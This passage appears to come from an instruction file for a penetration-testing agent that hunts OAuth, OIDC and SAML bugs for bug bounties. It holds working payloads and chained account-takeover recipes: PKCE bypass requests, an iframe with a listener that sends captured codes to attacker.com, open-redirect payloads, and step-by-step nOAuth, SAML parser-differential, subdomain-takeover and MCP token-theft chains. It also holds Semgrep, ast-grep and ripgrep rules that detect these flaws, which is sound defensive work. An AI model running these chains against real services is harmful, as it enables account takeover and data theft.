# (no code_challenge / code_challenge_method)
# E.3 Cloudflare workers-oauth-provider bypass (CVE-2025-4144 — fixed in v0.0.5)
# Auth request without code_challenge → token request WITH code_verifier was accepted
GET /authorize?response_type=code&client_id=...&redirect_uri=...
# (no code_challenge)
POST /token
grant_type=authorization_code&code=<code>&code_verifier=anything_random
# E.4 PKCE bypass via attacker-controlled URL (trace37 labs Feb 2026)
# Attacker iframes the SSO authorize URL; supplies own code_challenge; knows code_verifier
# Captures the resulting code via MessagePort injection or parent.postMessage
# PKCE only protects in-transit; not against initiation-control
<iframe src="https://idp.target.com/authorize?...&code_challenge=ATTACKER_HASH&code_challenge_method=S256"></iframe>
window.addEventListener('message', e => fetch('https://attacker.com/leak?'+e.data));
# E.5 Authorization code injection (RFC 9700 §4.5.3.1)
# Attacker initiates own session, gets own code; injects victim's code into attacker's session
# Even with PKCE, if attacker controls victim's code_challenge value → injection works (RFC 9700 §4.5.3.2)
Sub-technique F — open redirect → OAuth ATO chains
# F.1 Logout redirect (lovable.dev H1 #3581815, post_logout_redirect_uri family)
/logout?redirect=https://attacker.com
/oauth/end_session?post_logout_redirect_uri=https://attacker.com
/saml/slo?RelayState=https://attacker.com # H1 #2263044 user_saml
# F.2 Login next-parameter post-auth landing (commonly named: next, returnTo, returnUrl, callback, redirect, dest, redir, url)
/login?next=https://attacker.com&continue=https://attacker.com
/auth/login?ReturnUrl=https://attacker.com # bountysecurity.ai .NET ReturnUrl pattern, ovofinansial CRA pattern
/sso?returnTo=https://attacker.com
# F.3 Path-traversal bypass (lovable.dev H1 #3599248 fix bypass via /..//)
/..//logout?redirect=https://attacker.com # bypass naive same-origin check
/logout?redirect=//attacker.com # protocol-relative → browsers add current scheme
/logout?redirect=https:attacker.com # missing slashes — some libs accept
# F.4 OAuth-callback chain — open redirect on the redirect_uri's host
# 1. Find redirect_uri = https://app.target.com/oauth/callback (whitelisted)
# 2. Find open redirect at https://app.target.com/redir?url=ATTACKER (same host, not OAuth-related)
# 3. Set redirect_uri = https://app.target.com/redir?url=https://attacker.com/grab
# 4. AS validates "starts with target.com" → 302 to /redir → 302 to attacker.com with code
# F.5 Referer-leak chain (image injection on rockstargames H1 #314814, semrush #314814)
# Set redirect_uri to an HTML page on whitelisted domain that loads <img src="https://attacker.com/...">
# Referer header to attacker.com contains the OAuth code/token in the URL of the hosting page
Source Code Review Patterns
Semgrep rules (≥3, copy-pasteable YAML)
rules:
- id: oauth-state-not-validated
pattern-either:
- pattern: $REQ.query.code
- pattern: $REQ.query['code']
pattern-not-inside: |
if (... $REQ.query.state ...) { ... }
message: |
OAuth callback handler reads `code` without validating `state` parameter.
Per RFC 6749 §10.12, state MUST be validated against the value stored
at flow initiation. Missing this check = CSRF on OAuth linking, leading
to account takeover (bugbounty.ch May 2023, H1 #850022 launchpad CSRF).
severity: ERROR
languages: [javascript, typescript]
rules:
- id: jwt-decode-without-algorithm-pin
pattern-either:
- pattern: jwt.verify($TOKEN, $SECRET)
- pattern: jwt.decode($TOKEN, verify=False)
- pattern: jws.verify($TOKEN, $SECRET)
message: |
JWT verification without explicit `algorithms: ["RS256"]` allowlist.
Vulnerable to alg=none (CVE-2025-61152), RS256→HS256 confusion
(CVE-2024-37568, CVE-2026-22817 Hono CVSS 8.2). Always pin algorithms
explicitly: jwt.verify(token, key, {algorithms: ["RS256"]}).
severity: ERROR
languages: [javascript, typescript, python]
rules:
- id: oauth-email-as-user-identifier
pattern-either:
- pattern: User.findOne({email: $CLAIMS.email})
- pattern: User.find_or_create_by(email: $CLAIMS.email)
- pattern: db.users.where(email: $CLAIMS["email"]).first
message: |
Email claim used as primary user identifier. Vulnerable to nOAuth
(CVE-2024-21632 omniauth-microsoft_graph, Descope 2023). Microsoft
Entra emits unverified email claims by default for pre-June-2023 apps.
Use the immutable `sub` claim or Entra's `oid` claim instead.
For Microsoft tokens, also check `xms_edov` claim before trusting email.
severity: ERROR
languages: [ruby, javascript, typescript, python, go]
rules:
- id: oauth-redirect-uri-substring-validation
pattern-either:
- pattern: $URI.startsWith($ALLOWED)
- pattern: $URI.includes($ALLOWED)
- pattern: $ALLOWED in $URI
- pattern: re.match(r'.*' + $ALLOWED + '.*', $URI)
metavariable-regex:
metavariable: $URI
regex: .*redirect.*
message: |
redirect_uri validated by substring match. Bypass with userinfo
`https://allowed.com@attacker.com`, IDN homograph, or subdomain
`https://allowed.com.attacker.com`. Per RFC 6749 §3.1.2.2, exact-match
against pre-registered URIs is required. Authentik CVE-2024-52289
(regex with unescaped dot) is the disclosed real-world example.
severity: ERROR
languages: [javascript, typescript, python, ruby, go]
rules:
- id: oidc-code-not-bound-to-client
pattern: |
def $TOKEN_HANDLER(...):
...
$ENTRY = code_storage.get($CODE)
...
return generate_token($ENTRY.user, ...)
pattern-not: |
if $ENTRY.client_id != $REQ.client_id: ...
message: |
Authorization code redeemed without verifying the redeeming client
matches the client the code was issued to. Per RFC 6749 §4.1.3,
this binding is mandatory. CVE-2026-32245 tinyauth had this exact
bug — refresh-token flow had the check, auth-code flow did not.
severity: ERROR
languages: [python, go, ruby, javascript]
rules:
- id: saml-signature-validate-discarded
pattern-either:
- pattern: $OBJ.validateSignature(...)
- pattern: validate_signature(...)
pattern-not-inside: |
$RESULT = ...
message: |
SAML signature validation result discarded — Admidio CVE-style
(GHSA-25cw-98hg-g3cg). validateSignature() returns string-on-error
instead of throwing, so unsigned/forged AuthnRequests slip through.
Always assign the result and check explicitly: `valid = validate(...)`.
severity: ERROR
languages: [php, python, ruby, javascript]
ast-grep patterns (≥3, language-tagged)
# A.1 Detect missing audience verification on OIDC ID Token
ast-grep --pattern 'jwt.decode($TOKEN, $KEY, $$$OPTS)' --lang javascript \
| rg -L 'audience|aud:'
# A.2 Detect Microsoft Graph email-claim trust (nOAuth CVE-2024-21632 family)
ast-grep --pattern 'token.User{ID: $$$, Email: $EMAIL}' --lang go
# A.3 Detect OAuth redirect_uri loose comparison
ast-grep --pattern '$URI.startsWith($PREFIX)' --lang javascript \
| rg redirect_uri
# A.4 Detect SAML response handler reading assertion[0] (multi-assertion injection)
ast-grep --pattern 'assertion[0]' --lang typescript
# A.5 Detect Hono JWK middleware without explicit alg allowlist (CVE-2026-22818)
ast-grep --pattern 'jwk({ jwks_uri: $URI })' --lang typescript
# A.6 Detect PKCE bypass — code_verifier not required when code_challenge present
ast-grep --pattern 'if ($CODE_VERIFIER) { verify_pkce($$$) }' --lang python
ripgrep one-liners (≥3)
# R.1 OAuth callback handlers missing state validation
rg -n '/oauth/callback|/auth/callback|/oidc/callback' --type js --type py --type rb -l \
| xargs rg -L 'state'
# R.2 JWT libraries with verify=False (Python/Node/Go)
rg -n 'verify=False|noVerify|skipVerification|verify:\s*false' --type py --type js --type ts --type go
# R.3 Hardcoded OAuth client_secret in frontend bundle (CRA / Vite / Next.js)
rg -n 'REACT_APP_.*(SECRET|KEY)|VITE_.*(SECRET|KEY)|NEXT_PUBLIC_.*(SECRET|KEY)' \
-g 'package.json' -g '*.env*' -g 'src/**' -g 'public/**'
# R.4 Mutable email claims used as account key
rg -n 'find_by.*email|findOne.*email|getOrCreate.*email|find_or_create_by.*email' \
--type rb --type js --type py --type go | rg -i 'oauth|oidc|sso|claim|userinfo'
# R.5 SAML signature handlers using REXML + Nokogiri together (parser differential class)
rg -n "require ['\"]rexml" --type rb -l | xargs rg -l "require ['\"]nokogiri"
# R.6 OAuth implicit flow / response_type=token enabled
rg -n "response_type[\"']?\s*[:=]\s*[\"']?token|allow_implicit_flow\s*[:=]\s*true|allowImplicitFlow:\s*true" \
--type js --type ts --type py --type rb
# R.7 OIDC nonce never checked
rg -n 'id_token' --type js --type py --type go -l | xargs rg -L 'nonce'
# R.8 Authorization code redeemed without client binding (CVE-2026-32245 tinyauth pattern)
rg -n 'authorization_code' --type go --type js --type py --type rb | rg -B5 -A20 'token' | rg -L 'client_id'
CodeQL hint
CodeQL has shipped tutorials for OAuth/SAML auth bypass classes — the relevant base queries are js/insufficient-key-size, js/jwt-missing-algorithm-restriction, and py/jwt-missing-algorithm. Sketch a custom predicate for nOAuth: a RemoteFlowSource reaching a User.findBy(email=...) sink without an intermediate verification of email_verified or xms_edov claim should raise a query. The GitHub Security Lab securitylab.github.com/advisories/GHSL-2024-329_GHSL-2024-330_ruby-saml writeup documents the parser-differential predicate that found CVE-2025-25291 — adapt it as a generic XmlParser1.parse(input).descendant() != XmlParser2.parse(input).descendant() taint flow.
Modern Meta — Cloud-Native, CI/CD, OSS Pipeline
OAuth/OIDC/SAML/JWT primitives apply across the entire cloud-native stack — not just web apps.
-
GitHub Actions: workflows that authenticate to cloud via OIDC use
id-token: writepermission. Hunt forpull_request_targetworkflows that compose${{ github.event.pull_request.head.repo.full_name }}into a script that requests OIDC tokens — script injection escalates to cloud IAM. Theactions/github-scriptaction mints OIDC tokens to any audience the workflow asks for; if a downstream workflow uses untrustedaudiencefrom PR input, it becomes a cross-org token. Salesloft Drift August 2025 incident showed PAT in GitHub repo + AWS via OIDC + Drift OAuth tokens as the supply-chain entrypoint that hit Cloudflare, Palo Alto, Zscaler and 757 others. -
GitLab CI:
CI_JOB_JWT/CI_JOB_TOKENare JWT credentials. CI_JOB_JWT supports OIDC federation to AWS / GCP / Vault. If a job's audience claim is unrestricted (sub_pattern: project_path:*), any project in the GitLab instance can impersonate. Hunt for cloud trust policies withiss=https://gitlab.combut nosubconstraint. Also: GitLab's own CVE-2025-25291/25292 ruby-saml family means GitLab Enterprise SAML SSO with parser differentials is exploitable end-to-end (PortSwigger SAML Roulette demonstrated unauthenticated admin). -
Jenkins: OAuth/OIDC plugins (
oic-auth,azure-ad,github-oauth) with relaxedemailmatching = nOAuth at scale across CI infrastructure. Jenkins script-console exposure via authenticated OIDC group claim from attacker-controlled IdP becomes RCE on the controller. Hunt every Jenkins login page for OIDC support and test with a self-hosted IdP. -
ArgoCD / Flux: CVE-2025-55190 Argo CD project token leak — a token with
projects, getretrieves repository credentials. CVE-2026-23990 Flux Operator — empty OIDCemail/groupsclaims bypass impersonation, requests run as the Flux service account. CVE-2022-31034 Argo CD insecure entropy in PKCE/OIDC params (still affects unpatched 2.x deployments). The pattern: GitOps controllers consume OIDC for human auth and use service tokens for machine actions; mixing these scopes loses the human's scope-restriction. -
Kubernetes: kubelet exposed at
:10250with anonymous auth = RBAC bypass; if cluster uses OIDC forkube-apiserver, the OIDC token'saudclaim must match--oidc-client-id. Many clusters setaud=*in trust → cross-cluster token replay. ServiceAccount projected tokens (TokenRequest API) includekubernetes.ioaudience by default; any pod that reads file-mounted projected tokens for non-K8s use cases is leaking credentials with cluster-scoped usability. Tekton CVE-2026-40161 git resolver leaks PAT to attacker-controlledserverURL. -
Cloud IAM: AWS OIDC trust against GitHub/GitLab without
subconstraint = cross-org token. Azure AD multi-tenant OAuth apps withoutxms_edovvalidation = nOAuth (CVE-2024-21632 omniauth-microsoft_graph; CVE-2025-55241 Entra ID actor token cross-tenant Global Admin impersonation, Dirk-jan Mollema). GCP Workload Identity Federation has analogous bugs — check thatsubject_token_typeis constrained. AWS STSAssumeRoleWithWebIdentityrequires audience binding; missing → cross-account token. -
Supply chain (Salesloft Drift class): Third-party SaaS integrations use long-lived OAuth refresh tokens. UNC6395/ShinyHunters used
truffleHogagainst Salesloft's GitHub repo to find Drift OAuth tokens, then exfiltrated 1.5B Salesforce records from 760 companies. Hunt your target's third-party connector inventory: each Slack app, Drift bot, HubSpot integration, Zendesk plugin is an OAuth grant your org accepted. Audit scopes (offline_access,Mail.Read,repo), audit revocation flows, audit logs for unusual API call rates (Salesforce Bulk API 2.0 calls under 3 minutes was the IOC). -
Container/edge OAuth: Cloudflare Workers OAuth Provider (the very library that hosts MCP servers) had CVE-2025-4143 missing redirect_uri validation, CVE-2025-4144 PKCE bypass, and GHSA-2h78-5wx8-jccc CSRF + open redirect via state parameter. These bugs show up in Worker code that opted into building OAuth providers without OAuth library experience. Same pattern is repeating in Bun, Deno, and edge runtime auth implementations. Hunt every edge-runtime OAuth as if it's amateur-hour.
Chains & Multi-Bug Templates
Chain 1 — Open Redirect → OAuth Token Theft → Account Takeover (the universal $5K-$15K chain)
- Bug A: Open redirect on
https://app.target.com/redirect?url=(CWE-601), filed standalone = $150 Low - Bug B: OAuth
redirect_uriregistered ashttps://app.target.com/oauth/callbackwith allowlist by host prefix - Bug C: Set
redirect_uri=https://app.target.com/redirect?url=https://attacker.com— AS validates host prefix, browser then follows the in-host redirect to attacker - Outcome: Attacker captures victim's
codeoraccess_token, exchanges for session, full ATO including admin - Bounty range: $5,000-$15,000 (DEV.to lucky_lonerusher 2026 reports $15K confirmed payout; H1 corpus consistently mid-four-figure to low-five-figure)
- Disclosure source: HackerOne #665651 (Stealing Users OAuth Tokens through redirect_uri parameter), HackerOne #770548 (Insecure OAuth redirection at admin.8x8.vc, $High), Pixiv H1 #1861974 ($2,000)
Hunter's note: This is the first chain you should attempt on every program. Don't file the open redirect alone — every triager kills standalone open redirects as Low. The pivot that separates a $150 Low from a $15K Critical is twenty minutes spent finding the OAuth flow on the same host. The open redirect must be on a host that's allowed as a redirect_uri; check the application's OAuth configuration page (often /developers, /settings/applications, or third-party login scope page) to confirm the host is whitelisted. The trick most hunters miss: the open-redirect endpoint doesn't have to be a vulnerability — many products ship intentional ?next= redirects with naive same-origin checks. Lovable.dev H1 #3599248 demonstrated even a fix bypass (the /..// path-traversal trick) is enough.
Chain 2 — nOAuth + Account Merge → Cross-Tenant Microsoft Account Takeover
- Bug A: Target uses "Sign in with Microsoft" (Entra ID multi-tenant)
- Bug B: Target's OAuth user-mapping uses
emailclaim instead ofoid/sub(CVE-2024-21632 pattern) - Bug C: Account merge logic links new OAuth login to existing local account by email
- Outcome: Attacker creates free Entra tenant, sets mail attribute to victim's email, logs in to target, fully takes over victim's account — bypassing MFA, password, all conditional access
- Bounty range: $5,000-$75,000 (Descope's coordinated nOAuth disclosure paid $75K+ across multiple programs; CVE-2024-21632 GHSA disclosed bug in omniauth-microsoft_graph, Recognize.app program; Semperis 2025 found 9% of Entra Gallery apps still vulnerable)
- Disclosure source: CVE-2024-21632, GHSA-5g66-628f-7cvj, Descope blog post June 20 2023, Semperis blog June 25 2025
Hunter's note: What worked: registering a brand-new Entra tenant takes 5 minutes via free.azure.microsoft.com — no credit card for nOAuth testing. Set the user's mail attribute (Contact Information) to the victim's email; do NOT use the UPN. The xms_edov claim was introduced post-June-2023 to mitigate this, but Microsoft set removeUnverifiedEmailClaim=true only for new app registrations after June 2023; the default for older apps is still vulnerable. Why this pays where the single bug doesn't: standalone "you trust the email claim" without a working PoC is theoretical and gets closed Informative. Demonstrate the merge against a real victim account you own (your second account on the target) and the bug becomes Critical.
Chain 3 — SAML Parser Differential → Unauthenticated Admin on GitLab Enterprise (the SAML Roulette chain)
- Bug A: Target uses
ruby-saml < 1.18.0(oromniauth-samlreferencing ruby-saml < 1.18.0) — fingerprint via login response Server header or behavior - Bug B: Obtain any legitimately signed SAML assertion (your own login on a smaller tenant of the same IdP, or any partner-org assertion from federated SSO)
- Bug C: Modify XML with DOCTYPE
<!ATTLIST>injection (CVE-2025-25291) or namespace confusion (CVE-2025-25292) so REXML and Nokogiri see different documents — REXML validates signature on the original element, Nokogiri reads attacker's NameID - Bug D: Set NameID to admin user (often known:
admin@target.com,root@target.com, first user enumerated) - Outcome: Unauthenticated admin access to the target SAML SP — for GitLab Enterprise, this is unauthenticated cluster-admin
- Bounty range: GitHub Security Lab paid undisclosed five-figure-plus for CVE-2025-25291/25292 (private bug bounty engagement, ahacker1 + Peter Stöckli + p-); GitLab Enterprise SSRF/SAML paths historically pay $10K-$20K via H1 #gitlab program
- Disclosure source: CVE-2025-25291, CVE-2025-25292, GHSL-2024-329, GHSL-2024-330, PortSwigger SAML Roulette by Gareth Heyes + Zakhar Fedotkin (March 2025), GitHub Security Lab advisory by Peter Stöckli
Hunter's note: What worked: SAML Raider is the right Burp extension; do not try to craft XML by hand. The hardest part of this chain isn't the parser-differential payload — it's getting any signed assertion. Set up a free Okta developer org or use the IdP's public sandbox; the signature on your own assertion is what you'll wrap. The DOCTYPE technique only works on Ruby < 3.4.2 because REXML truncates !ATTLIST differently in newer Ruby versions; combine namespace confusion with DOCTYPE for max coverage. Why this pays: SAML is the auth protocol enterprises trust the most, so any signature bypass is a perfect storm of "production critical" and "no detection signature." GitLab paid premium because their entire enterprise tier sells on SAML SSO security.
Chain 4 — Subdomain Takeover → OAuth redirect_uri whitelist bypass → Federated Account Takeover
- Bug A: Find dangling subdomain in
*.target.com(S3, Heroku, GitHub Pages, Azure App Service, Vercel) viasubzy/nuclei takeover templates - Bug B: Claim it (e.g.,
git pushto abandoned-app.heroku.com matches the dangling CNAME) - Bug C: Target's OAuth provider whitelists
*.target.comfor redirect_uri (or uses substring match) - Bug D: Set
redirect_uri=https://abandoned-subdomain.target.com/oauth/callback— AS approves; victim's code lands on attacker host - Outcome: Federated SSO account takeover for any user who clicks attacker's auth URL
- Bounty range: $2,000-$10,000 disclosed via HackerOne (subdomain takeover alone $200-$5K HackerOne program range, but chained to OAuth ATO crosses into mid-four to low-five-figure)
- Disclosure source: HackTricks OAuth wiki (
*.example.com wildcard) at https://hacktricks.wiki/en/pentesting-web/oauth-to-account-takeover.html, HackerOne corpus pattern (multiple disclosed reports across H1 with the wildcard-takeover→OAuth chain)
Hunter's note: What worked: most programs treat subdomain takeover as Low/Medium standalone, but combining with OAuth ATO escalates to High/Critical because you can prove victim impact. The hardest part: programs differ on whether they accept the chain — some say "we already paid for the subdomain takeover, the OAuth angle is duplicate." Counter this in your report by emphasizing blast radius: standalone takeover affects only users who click attacker links going to that subdomain; OAuth chain affects every user who clicks "Login with Target" anywhere. What failed first: I tried takeover → cookie injection on the apex first; modern __Host- cookies blocked it. Pivot to OAuth was 30 minutes of redirect_uri fuzzing. Why this pays: it demonstrates a real-world attack path, not a hypothetical CWE-601.
Chain 5 — MCP server misconfig → OAuth code interception → Agentic LLM API abuse → Credential exfil
- Bug A: Find MCP server (HTTP endpoint advertising
WWW-Authenticate: Bearer realm="MCP"or/.well-known/oauth-protected-resource) - Bug B: MCP server uses
cloudflare/workers-oauth-provider < 0.0.5→ CVE-2025-4143 (no redirect_uri validation) + CVE-2025-4144 (PKCE downgrade) - Bug C: Send victim crafted authorize URL with
redirect_uri=https://attacker.comand nocode_challenge - Bug D: Capture victim's code, exchange at token endpoint with attacker's
code_verifier(PKCE downgrade allows it) - Bug E: Use stolen MCP token to invoke MCP tools (e.g., D1 database read, GitHub repo content read, AWS Lambda invoke)
- Bug F: MCP tool output containing private repo contents flows back to attacker; if MCP server is bridged to LangChain agent with shell exec → also RCE
- Outcome: Account takeover on the MCP server + exfil of all data the OAuth scopes covered + potential RCE if agent executes arbitrary code
- Bounty range: low-five-figure to mid-five-figure (Anthropic CVE-2025-49596 MCP Inspector RCE in 38K weekly downloads, classed Critical; JFrog disclosed CVE-2025-6514 mcp-remote RCE affecting 558K downloads; Cloudflare paid for workers-oauth-provider class internally)
- Disclosure source: CVE-2025-4143, CVE-2025-4144, CVE-2025-6514, CVE-2025-49596, GHSA-qgp8-v765-qxx9 (Cloudflare), GHSA-4pc9-x2fx-p7vj (Cloudflare), GHSA-5h2m-4q8j-pqpj (FastMCP), GHSA-2h78-5wx8-jccc (Google Security Research → Cloudflare)
Hunter's note: What worked: MCP servers are brand new attack surface and most of them are written by developers who've never deployed OAuth before. The Anthropic ecosystem (Claude Desktop, Cursor, Windsurf, claude.ai) connects to thousands of self-hosted MCP servers, and Obsidian Security's research shows the common implementation pattern is broken in at least one of: anonymous-cookie sessi
Truncated - read the full file at https://github.com/begineer-py/SKRpyASM/blob/5cc111b39cb5a00d5ffb9ec52644fd8ef72372fa/pentest-agents/providers/openclaw/.agents/skills/pentest-agents-hunt-oauth/SKILL.md.